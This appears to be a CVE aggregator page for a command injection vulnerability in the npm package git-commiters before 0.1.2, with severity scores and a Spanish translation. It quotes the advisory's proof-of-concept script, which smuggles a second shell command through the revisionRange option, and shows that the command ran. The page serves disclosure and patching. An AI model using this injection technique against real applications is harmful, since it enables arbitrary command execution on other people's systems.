8.7high
`git-comiters` Command Injection vulnerability
- Severity
- 8.7high CVSS:4.0 by GitHub_M
- Exploit likelihood
- 4.17% (higher than 91% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-g38c-wxjf-xrh6
Description
git-commiters is a Node.js function module providing committers stats for their git repository. Prior to version 0.1.2, there is a command injection vulnerability in git-commiters. This vulnerability manifests with the library's primary exported API: gitCommiters(options, callback) which allows specifying options such as cwd for current working directory and revisionRange as a revision pointer, such as HEAD. However, the library does not sanitize for user input or practice secure process execution API to separate commands from their arguments and as such, uncontrolled user input is concatenated into command execution. This issue has been patched in version 0.1.2.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| snowyu git-commiters.js | < 0.1.2 | CVE List |
| git-commiters (npm) | before 0.1.2 | GitHub Advisory Database |
| riceball git-commiters | before 0.1.2 | NVD |
All scores
| GitHub_M | 8.7high CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
| GitHub | 8.8high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
| GitHub | high CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
| NVD | 8.8high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
Classification
What each source says
CVE List
git-commiters is a Node.js function module providing committers stats for their git repository. Prior to version 0.1.2, there is a command injection vulnerability in git-commiters. This vulnerability manifests with the library's primary exported API: gitCommiters(options, callback) which allows specifying options such as cwd for current working directory and revisionRange as a revision pointer, such as HEAD. However, the library does not sanitize for user input or practice secure process execution API to separate commands from their arguments and as such, uncontrolled user input is concatenated into command execution. This issue has been patched in version 0.1.2.
GitHub Advisory Database
Background on the vulnerability
This vulnerability manifests with the library's primary exported API: gitCommiters(options, callback)
which allows specifying options such as cwd for current working directory and revisionRange as a revision pointer, such as HEAD.
However, the library does not sanitize for user input or practice secure process execution API to separate commands from their arguments and as such, uncontrolled user input is concatenated into command execution.
Exploit
- Install
git-commiters@0.1.1or earlier - Initiaizlie a new Git directory with commits in it
- Create the following script in that directory:
var gitCommiters = require("git-commiters");
var options = {
cwd: "./",
revisionRange: "HEAD; touch /tmp/pwn; #",
};
gitCommiters(options, function (err, result) {
if (err) console.log(err);
else console.log(result);
});
- Observe new file created on disk at
/tmp/pwn
The git commiters functionality works as expected, too, despite the command execution, which further hinders the problem as it may not be apparent that a command injection occured on a running application.
@lirantal ➜ /workspaces/git-commiters.js (master) $ node app.js
[
{
email: 'github@qslw.com',
name: 'Morton Fox',
deletions: 1,
insertions: 1,
commits: 1
},
{
email: 'snowyu.lee@gmail.com',
name: 'Riceball LEE',
deletions: 11,
insertions: 1198,
commits: 7
}
]
@lirantal ➜ /workspaces/git-commiters.js (master) $ ls -alh /tmp/pwn
-rw-r--rw- 1 codespace codespace 0 Jul 1 06:09 /tmp/pwn
Credit
Liran Tal
NVD (es)
git-commiters es un módulo de función de Node.js que proporciona estadísticas de los committers para su repositorio git. Antes de la versión 0.1.2, existe una vulnerabilidad de inyección de comandos en git-commiters. Esta vulnerabilidad se manifiesta con la API principal exportada de la biblioteca: gitCommiters(options, callback) que permite especificar opciones como cwd para el directorio de trabajo actual y revisionRange como un puntero de revisión, como HEAD. Sin embargo, la biblioteca no sanea la entrada del usuario ni practica una API de ejecución de procesos segura para separar los comandos de sus argumentos y, como tal, la entrada del usuario no controlada se concatena en la ejecución de comandos. Este problema ha sido parcheado en la versión 0.1.2.
References
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2025-59831 changed 2025-09-25 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-g38c-wxjf-xrh6 changed 2025-10-16 | CC-BY-4.0 |
| NVD | CVE-2025-59831 changed 2026-10-11 | Public domain |